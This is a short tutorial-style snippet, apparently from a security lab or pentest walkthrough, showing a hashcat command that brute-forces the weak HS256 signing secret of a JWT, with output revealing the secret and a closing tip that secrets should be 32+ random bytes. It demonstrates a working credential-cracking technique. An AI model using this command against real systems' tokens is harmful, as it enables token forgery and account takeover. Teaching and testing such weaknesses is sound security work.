JWTs signed with HS256 can be cracked if the secret is weak. Run hashcat against the full token using a common wordlist.
Command / Input
hashcat -a 0 -m 16500 \
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIyMDAwMSIsInJvbGUiOiJ1c2VyIn0.xK2l... \
/usr/share/wordlists/rockyou.txt
Output
eyJhbG...xK2l...:bankSecret2024
Status: Cracked
⚑ The secret "bankSecret2024" was in the rockyou wordlist. A proper secret should be 32+ random bytes.